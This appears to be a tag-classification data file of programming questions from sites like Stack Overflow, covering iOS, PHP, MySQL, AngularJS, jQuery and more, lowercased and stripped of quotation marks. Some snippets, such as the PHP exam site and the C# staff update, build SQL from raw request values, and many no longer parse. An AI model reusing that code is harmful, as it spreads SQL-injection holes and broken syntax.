navigationbar not positioned correctly. how to solve this problem   i have a navigation controller in my main view and also subview. and i use the following code to add the navigation view when needed.    in appdelegate.h page   <pre><code>    @interface aapkeappsappdelegate : nsobject &lt;uiapplicationdelegate  uinavigationcontrollerdelegate&gt; { uiwindow *window; aapkeappsviewcontroller *viewcontroller; uinavigationcontroller *navigationcontroller;  }  @property (nonatomic  retain) iboutlet uiwindow *window;  @property (nonatomic  retain) iboutlet aapkeappsviewcontroller *viewcontroller;  @property (nonatomic  retain) iboutlet uinavigationcontroller *navigationcontroller;  @end </code></pre>   in appdelegate.m   <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:   (nsdictionary *)launchoptions  {         uinavigationcontroller *nvcontrol =[[uinavigationcontroller alloc]                   initwithrootviewcontroller:viewcontroller]; [self.window addsubview:viewcontroller.view]; [self.window addsubview:nvcontrol.view]; [window makekeyandvisible];  return yes; } </code></pre>   this code work when press the button    <pre><code>homepage * rootviewcontroller = [[homepage alloc] initwithnibname:@ homepage    bundle:nil];     navigationcontroller = [[uinavigationcontroller alloc]   initwithrootviewcontroller:rootviewcontroller];     [self.view addsubview:navigationcontroller.view]; </code></pre>   however  the navigation bar is not positioned correctly. i have posted a pic below. anyone knows what is the potential problem  and how to solve this gap of navigationbar  help me anyone. thanks in advance. here i can post the image. so i have posted a pic in the link <a href= http://i.stack.imgur.com/jxz7j.png  rel= nofollow >image</a>,iphone
exception in java plz give me your suggestion  why arithmeticexception is unchecked exception and  why we define 2 types of exception unchecked and checked in java,java
get associative array from serialised cookie  none of the details inside the details inside of the array would compromise security and the one person which will be using this website will be using the latest of web browsers  in-case you are thinking about debating security at me about this.    i ve tried multiple methods of gathering an array which was serialised using the standard serialise function  this is what i used:   <pre><code>        $mooring = serialize($mooring);         setcookie( mooringdata   $mooring  time()+3600); </code></pre>   i ve checked my cookie manager and it seems like it worked successfully in storing the details i required but it looks like it has been url-encoded. i ve tried multiple methods of getting my original array from the stored cookie but it <em>never</em> works  even when my code says that it should!    i ve tried these following blocks of code  separated by a newline to symbolise another attempt:   <pre><code>$data = unserialize(urldecode($_cookie[ mooringdata ]))); print_r($data); </code></pre>   this returns blank.   <pre><code>$data = array(unserialize(urldecode($_cookie[ mooringdata ])))); print_r($data); </code></pre>   this returns  array ( [0] => )  and the list goes on  if there is an alternative to passing an array from page to page without using get s or post s i m all ears  but if you think you have a solution  please reply!,php
how do i read in a single character from a string   i have the line <code> 5 21 + </code>.     i can successfully read in the 2 integers  but then i want to read in the  +  as a string.     i tried using <code>getline()</code>  but the <code>getline()</code> function reads in the whole line (<code>5 21 +</code>). how do i just read in the <code> + </code> as a string,c++
can i get the users location from an iphone webapp   i would like to show a map of things near an iphone user s location. is there any way to get the latitude/longitude,iphone
restrict the user to focus an input  i m using angular let assume i have the following input   <pre><code>&lt;input class= cell  type= text  ng-readonly= true  ng-model= rowdata.bgninput &gt; </code></pre>   is it possible to restrict the user to focus this input. so no matter what i do the input should be never focused. i want this because im using this input only to display data and im not using div because if its empty the div gets ugly,angularjs
mysql inserting multiple columns and rows into a temporary table  i have a temporary table:   <pre><code>create temporary table if not exists `temp` as (  select count(*) as count  year(end_date)  from a  where column_1 =  some_condition   group by year(end_date) ); </code></pre>   i then try to add on new values into this table   <pre><code>insert into temp (count  year) values(   select count(*) as count  year(end_date)   from b   where column_1 =  some_condition    group by year(end_date) ); </code></pre>   and this line throws error.  error given:   <blockquote>   <h1>1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use</h1>       near  select count(*) as count  year(end_date)   from b<br>   where column_1 =  some condition    at line 3  </blockquote>   what i m trying to achieve is for the new rows and columns which were selected to be inserted into the temporary table. any ideas     after the first query  temp table should look like this:   <pre><code>count  year 3      2012 20     2013 104    2011 </code></pre>   and the selected results from the second query looks like this   <pre><code>count  year 6      2013 </code></pre>   the expected outcome:   <pre><code>count  year 3      2012 20     2013 104    2011 6      2013 </code></pre>,mysql
validating complex model in directive in angularjs  if i have a simple property bound to a control i can easily validate it either using the built-in directives (required  etc) or using ngmodel.$validators.    however i have a directive that represents an editor for a complex property.  i can validate the state from within that editor  but how do i integrate that with angular so that it updates the state of the form     i have a model class that represents the model and i am calling the directive like this:   <pre><code>&lt;editor model= model &gt;&lt;/editor&gt; </code></pre>   with this code in my controller (appmodel has been declared as a service since it is a singleton):   <pre><code>$scope.model = appmodel; </code></pre>   i am thinking of just accessing the form from my directive  taking advantage of the scope inheritance  something like:   <pre><code>$scope.myform.$setvalidity(...) </code></pre>   is that the normal way to go about it,angularjs
fetching selected radio buttons having value in database in online examination website(php)  i am making an online examination website i need to fetch selected value of radio buttons to compute final result to show it to the user   i coded as:   <pre><code>&lt;form method= post  action= result1.php &gt;  &lt;div style= height:900px;width:1200px;color: black;margin-left:25px; &gt; &lt; php  if($_server[ request_method ]== post ) { $servername= localhost ; $username= root ; $password=  ; $dbname= online_exams ; $conn=mysql_connect($servername $username $password); mysql_select_db($dbname $conn); $x=$_request[ c1 ]; $result=mysql_query( select q.qno q.ques a.a1 a.a2 a.a3 a.a4 from ques q ans a where a.cid=q.cid and a.cid=$x and a.qno=q.qno  $conn); $num_rows=mysql_num_rows($result); if($num_rows&gt;0) { while($row=mysql_fetch_array($result)) {  echo $row[ qno ];  echo &lt;br&gt; ; echo $row[ ques ]; echo  &lt;br/&gt; ;  &gt;  &lt;input type= radio   name=  &lt; php echo $row[ qno ];  &gt;  value=  &lt; php echo $row[ a1 ];  &gt;   &gt;&lt; php echo $row[ a1 ];  echo  &lt;br/&gt; ;  &gt; &lt;input type= radio  name=  &lt; php echo $row[ qno ];  &gt;   value=  &lt; php echo $row[ a2 ];  &gt;   &gt;&lt; php echo  $row[ a2 ]; echo  &lt;br/&gt; ; &gt; &lt;input type= radio  name=  &lt; php echo $row[ qno ];  &gt;   value=  &lt; php e  cho $row[ a3 ];  &gt;   &gt;&lt; php echo $row[ a3 ]; echo  &lt;br/&gt; ; &gt; &lt;input type= radio   name=  &lt; php echo $row[ qno ];  &gt;  value=  &lt; php   echo $row[ a4 ];  &gt;   &gt;&lt; php echo $row[ a4 ]; echo  &lt;br/&gt; ; &gt;   &lt; php    }}}   &gt;  &lt;input type= submit  name= submit  value= submit  &gt; </code></pre>   and then in the other page to compute result  while fetching values desired result is not obtained since the values of radiobuttons are stored in the database  i could not get any oyher way how to retrieve them  following is the other code:   <pre><code>&lt; php if($_server[ request_method ]== post ) { $servername= localhost ; $username= root ; $password=  ; $dbname= online_exams ; $conn=mysql_connect($servername $username $password); mysql_select_db($dbname $conn);  $result=mysql_query( select q.qno q.cans q.ques a.a1 a.a2 a.a3 a.a4 from ques q ans a where a.cid=q.cid and a.qno=q.qno    $conn);   $x = 0; $score = 0;  while ($row = mysql_fetch_assoc($result)) { if(isset($_post[ $row[ qno ] ])) $answered = $_post[  $row[ qno ] ]; $correct = $row[ cans ] ;  if ($answered == $correct ) {     $score++; }   $x = $x + 1; } echo  you had a total of   . $score .   out of   . $x .   questions right! ; </code></pre>   }      >,php
how to create first ios mobile app   i am beginner at ios and i want to create my first ios mobile app. what is the software requirements needed to create my first app and what are the concepts and programming language that needed,ios
how to use clone and append and return the first instance of the img  i m using the clone append to return a image to a new div   but the div i am cloning has several instances of the same image   and i only want to retrieve 1 copy. can you use a selector in the following   like find the 1st instance of the image only     <pre><code>$( document ).ready(function() {     $( #divold ).find( img#franchiseicon_0000 ).clone().appendto( #divnew ); }); </code></pre>,jquery
how to edit the toggle-effect in jquerys  toggle-function   i use jquerys  toggle-function to hide/show a block of my markup by updating display to none or block  like this:   <pre><code>$( #trigger ).click(function () {     $( #target ).toggle( linear   function() {   }); }); </code></pre>   jquery thankfully adds me an effect to that by default  but i would like to edit this one to fade it in or make it slide in from top to bottom or whatever. i already have edited the param <strong>linear</strong>  but this changes nothing. what do i need to do,jquery
ie only anglure http request cache / mvc issue  i have some code that loads a list from a mvc controller.    i load the data with   <pre><code>$scope.loaddata = function () {             $scope.promise = myhttp = $http.get( forms );     myhttp.success(function (response) {         $scope.rows = response; </code></pre>   this works fine  the data loads and i can see the data on my html page.    but  if i reload with code  eg i just run $scope.loaddata again  it fails in ie.    works in chrome  ff  fails in ie and spartan (tested on non windows 10 same issue)    the headers look like   <pre><code>cache-control: private  s-maxage=0 </code></pre>   the mvc controller has the authorise attribute hence the s-maxage=0  this prevents the proxy from caching.     i have tried   <pre><code>$scope.promise = myhttp = $http.get( forms ); </code></pre>   when i fiddle  i dont see the request going to the server but the code does get fired.    if i nav to a new page and nav back it does reload fresh data as you would expect. it just when the reload is done with $http     thanks    <em>edit</em>    post works  eg    <pre><code>$scope.promise = myhttp = $http.post( forms ); </code></pre>,angularjs
error conversion from type  internalfield  to type  string  is not valid  there is a combobox named as cboenduser. when i am selecling the item in combobox then this function is called. cboenduser is filled with by    <pre><code>cboenduser.items.add(new itemdata(orec.fields( fullname ).value  orec( contactid )))  </code></pre>   item data is a class.   <pre><code>public class itemdata public _item as string public _itemdata as object  public sub new(byval item as string  byval data as object)     _item = item     _itemdata = data end sub  public overrides function tostring() as string     return _item  end function end class   private sub cboenduser_selectedindexchanged(byval eventsender as system.object  byval eventargs as system.eventargs) handles cboenduser.selectedindexchanged              if cboenduser.selectedindex &lt;&gt; -1 then                 populateserialnumberarray(cint(txtcustomerid.text)  (cboenduser.selecteditem)._itemdata)             end if  end sub </code></pre>   getting the error in the line  populateserialnumberarray(cint(txtcustomerid.text)  (cboenduser.selecteditem)._itemdata) . errow is conversion from type  internalfield  to type  string  is not valid.    <pre><code>public sub populateserialnumberarray(byref plcustomerid as integer  byref plcontactid as string)  end sub </code></pre>,.net
open of popup on click of gridview linkbutton  i have gridview and  it consists of 3 columns   the 1st column is of id 2nd of date and 3rd of description. the 1st column id s are all linkbutton and when i click the linkbutton a popup window has to open. and the text of the linkbutton should be populated in the textbox of popup window. plz help me,asp.net
looping a function in javascript  <pre><code>/* roll four 6 sided dice record total of highest 3 numbers do this five times */  //rolls 4d6 and puts those numbers into an array const roller = function(){   let arr1 = [];   for(let i = 0; i &lt; 4; i++){      arr1.push(math.floor(math.random() * (6 - 1 + 1) ) + 1);   }   // passes the array to have lowest number removed   return removesmallest(arr1); };  //removes the lowest number and returns the total const removesmallest = function(arr1){   let smallest = 0;   for (i = 0; i &lt;= arr1.length; i++){     if (arr1[i + 1] &lt; arr1[i]){       smallest = i + 1;     }   }   arr1.splice(smallest  1);   let total = 0;   for (let i = 0; i &lt; arr1.length; i++){     total += arr1[i];   }   return total; };  roller(); </code></pre>   i made some code that would simulate rolling four six sided dice  remove the lowest value rolled  then add up all the numbers. the only problem is that i want this done 5 times  so that i have a set of 5 total numbers. this would be the base stats rolled for a level 1 characters in dnd 5e if the player decided to roll for stats. i was a little confused on how i would go about doing this. i know this sounds like a loop  but was wondering how you would loop a function.,javascript
undefined method `all  for activesupport in rails 4.0.0 app  i m new to developing rails apps  so for the most part here  i ve relied heavily only on the rails generate command to make scaffolds for the entire app. while every other part of my app works fine  this one raises an error right after being automatically generated.    the error is as follows:   <pre><code>nomethoderror in configurationscontroller#index  undefined method `all  for activesupport::configurable::configuration:class </code></pre>   here is the code snippet that contains said no method call   <pre><code>def index   @configurations = configuration.all end </code></pre>   and here is the said model in question   <pre><code>class configuration &lt; activerecord::base   belongs_to :users  class_name:  user   foreign_key:  user_id  end </code></pre>   i added the belongs_to part... anyway  when i ran it through <a href= http://localhost.localhost:3000/users/1/configurations/  rel= nofollow >http://localhost.localhost:3000/users/1/configurations/</a> that error pops up! (yes  i used nested routes)    so i hit the rails console to check what configuration.all returns and lo and behold   <pre><code>2.0.0-p247 :004 &gt; configuration.all   configuration load (0.3ms)  select  configurations .* from  configurations   =&gt; #&lt;activerecord::relation [#&lt;configuration id: 1  user_id: 1  port: 3000  host:  example.org   annoy: 5000  version:  1   machines: nil  created_at:  2013-08-08 02:15:32   updated_at:  2013-08-08 02:15:32 &gt;]&gt; </code></pre>   i m kind of lost as to why that method works in rails console then fails in the html view on my browser. did i do something wrong     also  here is the output on webrick in case someone looks for it   <pre><code>started get  /users/1/configurations/  for 192.168.1.105 at 2013-08-08 10:24:59 +0800 processing by configurationscontroller#index as html   parameters: { user_id =&gt; 1 } completed 500 internal server error in 1ms  nomethoderror (undefined method `all  for activesupport::configurable::configuration:class):   app/controllers/configurations_controller.rb:8:in `index  </code></pre>,ruby-on-rails
mysql: creating a table with auto increment and concatenating the values generated with the values of a different column of the same table  i want to create a table employee with id name dept username attributes.     the id column values are auto_increment. i want to concatenate the values of id with dept to generate the username.    following is the query that i wrote: create table employee emp_id mediumint not null auto_increment  name char(30) not null  dept char(6)not null  username varchar not null primary key(emp_id);    how to insert values into this table properly  please help.,mysql
should an app edit the global machine.config   an app we use edits the <code>c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config</code> file on first launch. the data it adds is this:   <pre><code>&lt;appsettings file=  &gt;   &lt;clear /&gt;   &lt;add key= &lt;app-specific token&gt;  value= &lt;path to a file&gt;  /&gt; &lt;/appsettings&gt; </code></pre>   this seems like a bad idea. is this a legit thing to do  or did the app developer find the wrong thing to swing his hammer at     and a follow-up question. this makes the app impossible to run as a non-admin user. is there something we can do to fix this behavior,.net
currently i am working of schedule application using jt calendar  currently i am working of schedule application i have an array with full months data now i want to display data based on selected date i am stuck at data will be fetch but it display data with arrays default position i have to print data in table so how can i maintain cell of table,objective-c
get `object reference not set to an instance of an object` error when placing combobox in tabcontainer  i have an ajaxtoolkit tabcontainer with two tabs which second tab enabled is false. i have placed a combobox ajaxtoolikit control in  the second tab. but when a post back is occurred to server just in ie browser i get following error. but in firefox i have no problem and every thing works properly. what s wrong     this is my code:   <pre><code>     &lt;ul&gt;           &lt;li&gt;                         &lt;asp:imagebutton id= btnnew  causesvalidation= false  runat= server  imageurl= ~/cssimages/new_document.png                              tooltip= new  width= 20px  onclick= btnnew_click  /&gt;&lt;/li&gt; &lt;/ul&gt;    &lt;cc1:tabcontainer id= tabcontainer1  runat= server &gt;     &lt;cc1:tabpanel runat= server  id= tab1  headertext= xx &gt;     &lt;contenttemplate&gt;     xx     &lt;/contenttemplate&gt;     &lt;/cc1:tabpanel&gt;     &lt;cc1:tabpanel runat= server  id= tabpanel1  headertext= yy   enabled= false &gt;     &lt;contenttemplate&gt;     dsds &lt;cc1:combobox id= combobox1  runat= server &gt;         &lt;asp:listitem&gt;loblob&lt;/asp:listitem&gt;         &lt;/cc1:combobox&gt;     &lt;/contenttemplate&gt;      &lt;/cc1:tabpanel&gt;     &lt;/cc1:tabcontainer&gt; </code></pre>   error:   <pre><code> object reference not set to an instance of an object.      description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.    exception details: system.nullreferenceexception: object reference not set to an instance of an object.  source error:   an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below.    stack trace:    [nullreferenceexception: object reference not set to an instance of an object.]    ajaxcontroltoolkit.combobox.loadpostdata(string postdatakey  namevaluecollection postcollection) +168    ajaxcontroltoolkit.combobox.system.web.ui.ipostbackdatahandler.loadpostdata(string postdatakey  namevaluecollection postcollection) +57    system.web.ui.page.processpostdata(namevaluecollection postdata  boolean fbeforeload) +690    system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint) +1743 </code></pre>,asp.net
sql updating data problem with index  i am updating the data by the following method    <pre><code>class xxxxxx {     public static string updatepersonformdata(string staffid  string firstname  string lastname  string address1          string address2 string address3  string town  string county  string postcode  string homephone  string mobile          string personalemail  string reference  string bookingname  string position_id  string role_id  string gender          string dob  string workphone  string workemail  formmain mf)     {         string result = xxxxxx.insertdata(string.format(@ update staff set staff_reference= {2}  staff_firstname =  {3}  staff_lastname= {4}                  staffposition_id= {5}  staffrole_id= {6}   staff_dob= {7}  staff_gender= {8}  staff_address1 =  {9}                   staff_address2= {10}  staff_address3 = {11}  staff_town = {12}  staff_county =  {13}  staff_postcode= {14}  staff_homephone= {16}                staff_workphone = {17}  staff_mobile = {18}  staff_personalemail = {19}  staff_workemail= {20}  staff_bookingname= {21}  where staff_id ={0}               staffid  reference  firstname  lastname  position_id  role_id  dob  gender  address1  address2  address3  town  county  postcode  homephone  workphone              mobile  personalemail  workemail  bookingname)  mf);          return result;     } } </code></pre>   i am calling this function in main form by using this below    <pre><code>xxxxxx.updatepersonformdata(tbcstaffhiddenid.text  tbfirstname.text  tblastname.text     tbaddress1.text  tbaddress2.text  tbaddress3.text  tbtown.text                tbcounty.text  tbpostcode.text  tbhomephone.text  tbmobile.text  tbpersonalemail.text  tbreference.text  tbbookingname.text  selecttexttoid(cbposition  aapositions)                selecttexttoid(cbrole  aaroles)  cbgender.text  tbdob.text.tostring()  tbworkphone.text  tbworkemail.text  mf); </code></pre>   but when i am updating this one i got the error like this......   <blockquote>    error:  index (zero based)   must be greater than or equal to zero   and less than the size of the argument   list.        make sure your method arguments are in   right form.        when converting a string to date time    parse the string to take the date   before putting each variable into the   date time object.  </blockquote>   can anyone help on this ...,sql
how can i match the length of one variable to another in python   i am currently developing this python code and i am trying to match the length of the user s surname to their name length.    if the user s surname is greater than their message  then the code will successfully subtract the excess characters in the user s name to make both variables equal.    however if the user s name is greater than their surname  the code should loop through the user s surname and add the required amount of characters to make both variables equal.,python
override python library file to circumvent size limitation  i ran into a 100 named capture group limitation in python s regular expression named capture groups.      the hard-coded limitation is in sre_compile.py:   <pre><code>if p.pattern.groups &gt; 100:     raise assertionerror(          sorry  but this version only supports 100 named groups          ) </code></pre>   my understanding is that this limitation is for performance reasons and not necessarily for space limitations. in my case the performance issues are less important than this capability. so i wonder if there is a reasonable way to get around this limitation  possibly by injecting a replacement sre_compile.py file with the size check removed  of course  this sounds quite risky and i understand that such an action is not recommended. however  in the short term i need to circumvent this limitation  in the long term i have a nice work around.  any suggestions on the best solution     thank you in advance!,python
space gap in mobile view css  i m currently having trouble styling the css for mobile. when you view the site on mobile you ll see there s a big gap between the header and nav. you can view the mobile simulator here <a href= http://transmog.net/iphone-simulator/mobile-web-browser-emulator.php u=http://www.angelbeats.nu  rel= nofollow >http://transmog.net/iphone-simulator/mobile-web-browser-emulator.php u=http://www.angelbeats.nu</a> does anyone know how i can fix this  i want to remove that gap so the content div can move up,css
"make form height larger and make text fit within box  i am able to increase the height of my form for question  however the text isnt contained to the box. typing keeps going across not down to the next line to stay in the box.    just used height set to 150px in css.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css  rel= stylesheet /&gt;
 
 
 &lt;form&gt;
   &lt;div class= form-group &gt;
     &lt;label for= exampleinputemail1 &gt;email address&lt;/label&gt;
     &lt;input type= email  class= form-control  id= exampleinputemail1  aria-describedby= emailhelp  placeholder= enter email &gt;
   &lt;/div&gt;
 &lt;/form&gt;
 &lt;form&gt;
   &lt;div class= form-group enter-question &gt;
     &lt;label for= exampleinputemail1 &gt;enter your question: &lt;/label&gt;
     &lt;input type= email  class= form-control  id= exampleinputemail1  aria-describedby= emailhelp  placeholder= enter email &gt;
   &lt;/div&gt;
 &lt;/form&gt;</code></pre>
 </div>
 </div>",html
long press table view cell to open options  this behaviour can be found in contacts app.    if you long press a table row in a contact page   copy  option popups on top of the row. how can i get this behaviour in my own table view cells.,ios
text align vertical doesn t work in tags  i have a problem about vertical alignment. my codes like below;   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;co.hairmod.android.post.create.tokenlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_height= 20dp      android:layout_width= wrap_content      android:orientation= horizontal      android:gravity= center_vertical &gt; &lt;relativelayout     android:layout_width= wrap_content      android:layout_height= 20dp &gt;      &lt;textview android:id= @+id/name          android:layout_width= wrap_content          android:layout_height= 20dp          android:background= @drawable/catalog_tag_textview_cornered          android:textcolor= @android:color/white          android:textsize= 14dp          android:paddingleft= 23dp          android:paddingright= 10dp          android:text= deneme /&gt;      &lt;textview         android:layout_width= 20dp          android:layout_height= 20dp          android:background= @drawable/white_circle          android:textcolor= @color/main_photo_orange_circle_color          android:gravity= center          android:textsize= 14dp          android:text= x /&gt;  &lt;/relativelayout&gt;   &lt;/co.hairmod.android.post.create.tokenlayout&gt; </code></pre>   but my appearance is like this;    <a href= https://i.stack.imgur.com/ll0dw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ll0dw.png  alt= enter image description here ></a>    it is not exactly vertical align. i have tried every way  paddings  margins. but it haven t worked still.,android
core image many times slower on first render  i can t find any documentation from apple to explain why this piece of code runs at different speeds depending on how many times its been run.   <pre><code>- (void)speedtest2:(ciimage*)source {     nstimeinterval start = cfabsolutetimegetcurrent();      cifilter* filter = [cifilter filterwithname:@ cicolorinvert ];     [filter setvalue:source forkey:kciinputimagekey];      cgimageref cgimage = [_context createcgimage:filter.outputimage fromrect:source.extent];     uiimage* output = [uiimage imagewithcgimage:cgimage];     if (cgimage)         cfrelease(cgimage);     _source.image = output;      nslog(@ time: %0.3fms   1000.0f * (cfabsolutetimegetcurrent() - start)); } </code></pre>  <h3>run times</h3>  <ul> <li>fresh app install - first call to method = <strong>206ms</strong></li> <li>app restarted - first call to method = <strong>61ms</strong> </li> <li>second call to method (3rd  4th  ...) = <strong>14ms</strong></li> </ul>   the same source image is being used for every run.     i know core image concatenates the filter chain. is this somehow being cached  can i pre-cache this operation so users don t get hit with performance problems on their first app launch     this one is making me crazy :(,ios
accessing variables outside the program in c++ <h3>id.cpp</h3>  <pre><code>#include  stdafx.h  #include &lt;iostream&gt; using namespace std;  class a { public:     static int a; }; int a::a=20;  class b { public:     b()     {      cout&lt;&lt;a::a&lt;&lt;endl;     } };  int main() {     b *b1 = new b();     return 0; } </code></pre>  <h3>id1.cpp</h3>  <pre><code>#include  stdafx.h  #include &lt;iostream&gt; using namespace std;  class c { public:     int get()     {         cout&lt;&lt;a::a&lt;&lt;endl;     } }; int main() {     c c1;     c1.get();     return 0; } </code></pre>   this is the way they have declared and got the output in one program but when i m trying it i m getting errors as the class is not a namespace or the program id is not included in the id1 file... how to get the variable that is stored in one file into the other file without using namespace and including the header file is there any option for it,c++
javascript pass variable to event function  i m having trouble getting the value of i to be passed on to the scmotion function    <pre><code>for ( i = 0; i &lt; tmp.length; i++ ) { document.getelementbyid( sc +i).onmousedown=function() { return scmotion(i  up ) }; } </code></pre>   to clarify the question  this for loop is doing other stuff  adding elements to the dom.    for some reason even if i is at number 39 the value of i being passed in the function i ma attaching is the final value of i i.e 80.,javascript
rails ruby - given a regex - determine the match count  given something like:   <pre><code> message.split(/\n.* at.* xxxxxxxx wrote:.*/m).first </code></pre>   this works fine if there is a match but if it doesn t get a match ruby returns all of message. i d like to first see if theres a match  if so then return the above.    ideas  thanks,ruby-on-rails
how would i put an id tag inside this anchor to hide and show through java script  i don t need the java script i just need to know where the id goes   <pre><code>&lt;a href= javascript:setdetailspanstatus(document.forms[ main ][ showtb ] 0);toggledisplay( spandetails     );toggledisplay( spansummary     ); &gt;show pay period summary&lt;/a&gt; </code></pre>,html
button enabled from 3 condition  i m trying to get the button to be enabled only when all three condition are met which are at least one checkbox is selected in the 1st checkbox list and 2nd checkbox selected and option list selected.     for the 1st condition i was thinking as an alternative would javascript be able to check on strlen of the textbox       somehow the pure javascript below is not working and would it be possible if selection by the user goes in reverse       pure javascript:    <pre><code>&lt;script type =  text/javascript &gt;  document.addeventlistener( domcontentloaded   function() {     document.getelementbyid( termschkbx ).addeventlistener( change   function(){       this.parentnode.style.color = this.checked    black  :  red ;     }  false); });  function change(obj) {          var selectbox = obj;         var selected = selectbox.options[selectbox.selectedindex].value;         var retcustdetails = document.getelementbyid( retcustdetails );         var tradecustdetails = document.getelementbyid( tradecustdetails );          if(selected ===  ret ){             retcustdetails.style.display =  block ;             tradecustdetails.style.display =  none ;         }         else if (selected ===  trd ) {             retcustdetails.style.display =  none ;             tradecustdetails.style.display =  block ;         }         else if  (selected ===   ) {             retcustdetails.style.display =  none ;             tradecustdetails.style.display =  none ;     } }  function ischecked() {   var sum = 0; //store a running sum    //find all price elements: class  cdprice  within element of class  item    [].foreach.call(document.queryselectorall( .item .cdprice )  function(item) {     //get the corresponding checkbox     var chosen = item.parentelement.queryselector( [type= checkbox ] );      //if checked  add to the running sum     if (chosen.checked) {       var value = parsefloat(item.innerhtml) || 0; //if parsefloat() returns none  default value to zero       sum += value;     }   });    //update the total   var total = document.getelementbyid( total );   total.value = sum.tofixed(2); }      function checked() { var checkedradiobuttons = document.queryselector( [name= deliverytype ]:checked ); document.getelementbyid( total ).value = checkedradiobuttons.getattribute( title );  }   //conditions for submit button to be enable //var firstcondition = document.queryselectorall( name=cdprice ); //var termscheckbox = document.getelementbyid( termschkbx ); var show = document.getelementbyid( show ); var button = document.getelementbyid( sub1 );  var conditions = { //  cond1: false  //  cond2: false    cond3: false };  //function setcondition1(e) { //  conditions.cond1 = e.target.checked; //  enablebutton(conditions); //}  //function setcondition2(e) { //  conditions.cond2 = e.target.checked; //  enablebutton(conditions); //}  function setcondition3(e) {   conditions.cond3 = e.target.value &amp;&amp; e.target.value.length &gt; 0;   enablebutton(conditions); }  function enablebutton(options) {   if (options.cond3) {     button.removeattribute( disabled );   } else {     button.setattribute( disabled   true);   } }  //for(i=0 ; i&lt; firstcondition.length ; i++){ //  firstcondition[i].addeventlistener( click   setcondition1  false); //} //termscheckbox.addeventlistener( change   setcondition2  false); show.addeventlistener( change   setcondition3  false);  &lt;/script&gt; </code></pre>   1st condition -> checkbox list or textbox:   <pre><code>&lt; php include_once( database_conn.php ); $sqlcds =  select cdid  cdtitle  cdyear  catdesc  cdprice from nmc_cd b inner join nmc_category c on b.catid = c.catid where 1 order by cdtitle ; $rscds = mysqli_query($conn  $sqlcds); while ($cd = mysqli_fetch_assoc($rscds)) {     echo  \t&lt;div class= item &gt;             &lt;span class= cdtitle &gt;{$cd[ cdtitle ]}&lt;/span&gt;             &lt;span class= cdyear &gt;{$cd[ cdyear ]}&lt;/span&gt;             &lt;span class= catdesc &gt;{$cd[ catdesc ]}&lt;/span&gt;             &lt;span class= cdprice &gt;{$cd[ cdprice ]}&lt;/span&gt;             &lt;span class= chosen &gt;&lt;input type= checkbox  name= cd[]  value= {$cd[ cdid ]}  title= {$cd[ cdprice ]} onchange= ischecked(); /&gt;&lt;/span&gt;         &lt;/div&gt;\n ; }  &gt;   &lt;section id= checkcost &gt;             &lt;h2&gt;total cost&lt;/h2&gt;             total &lt;input type= text  name= total  id= total  size= 10  readonly= readonly  /&gt;         &lt;/section&gt; </code></pre>   2nd condition -> 2nd checkbox:   <pre><code>&lt;p style= color: red; font-weight: bold; &gt;i have read and agree to the terms and conditions             &lt;input type= checkbox  id= termschkbx  onchange= ischecked(this  sub1 ) /&gt;&lt;/p&gt; </code></pre>   3rd condition -> option list:   <pre><code>&lt;section id= placeorder &gt;             &lt;h2&gt;place order&lt;/h2&gt;             your details             customer type: &lt;select id= show  name= customertype  onchange= change(this) &gt;                 &lt;option value=  &gt;customer type &lt;/option&gt;                 &lt;option value= ret &gt;customer&lt;/option&gt;                 &lt;option value= trd &gt;trade&lt;/option&gt;             &lt;/select&gt; </code></pre>   submit button:   <pre><code>&lt;p&gt;&lt;input type= submit  name= submit  value= order now!  id= sub1  disabled= disabled /&gt;&lt;/p&gt; </code></pre>,javascript
inbuilt save button text  i want to change here title of button can i change   by default it is coming  save  can it be changed   <pre><code>uibarbuttonitem *dowbutton = [[uibarbuttonitem alloc]initwithbarbuttonsystemitem:uibarbuttonsystemitemsave                                                                            target:self action:@selector(download)]; </code></pre>   <strong>strong text</strong>,iphone
does this python class look stupid   i m trying to port something i wrote in php into python  mainly as an exercise to better learn the language. the code in question is a swf parser. in php  i have all my data structure declared as classes. i m trying to do the same in python but there doesn t seem to be a explicit way to declare a class variable. so i end up with many classes that look like this:   <pre><code>class swfrgba(object):     red = 0     green = 0     blue = 0     alpha = 0 </code></pre>   do pythoners actually write things like this     <strong>[edit]</strong>    let me post some actual code to illustrate the issue. the function below reads the vector shapes in an swf file. the readub()  readsb() reads a certain number of bits interpretating them unsigned or signed. sometimes  the number of bits required for a given field is itself read from the bitstream. three types of records might appear: straight edge  quadratic curve  or style change. a style change record might move the pen position  change the line style index  change one of the two fill style indices  or replace the style arrays.    <pre><code>protected function readshaperecords($numfillbits  $numlinebits  $version  &amp;$bytesavailable) {     $records = array();     while($bytesavailable) {         if($this-&gt;readub(1  $bytesavailable)) {             // edge             if($this-&gt;readub(1  $bytesavailable)) {                 // straight                 $line = new swfstraightedge;                 $line-&gt;numbits = $this-&gt;readub(4  $bytesavailable) + 2;                 if($this-&gt;readub(1  $bytesavailable)) {                     // general line                     $line-&gt;deltax = $this-&gt;readsb($line-&gt;numbits  $bytesavailable);                     $line-&gt;deltay = $this-&gt;readsb($line-&gt;numbits  $bytesavailable);                 } else {                     if($this-&gt;readub(1  $bytesavailable)) {                         // vertical                         $line-&gt;deltax = 0;                         $line-&gt;deltay = $this-&gt;readsb($line-&gt;numbits  $bytesavailable);                     } else {                         // horizontal                          $line-&gt;deltax = $this-&gt;readsb($line-&gt;numbits  $bytesavailable);                         $line-&gt;deltay = 0;                     }                 }                 $records[] = $line;             } else {                 // curve                 $curve = new swfquadraticcurve;                 $curve-&gt;numbits = $this-&gt;readub(4  $bytesavailable) + 2;                 $curve-&gt;controldeltax = $this-&gt;readsb($curve-&gt;numbits  $bytesavailable);                 $curve-&gt;controldeltay = $this-&gt;readsb($curve-&gt;numbits  $bytesavailable);                 $curve-&gt;anchordeltax = 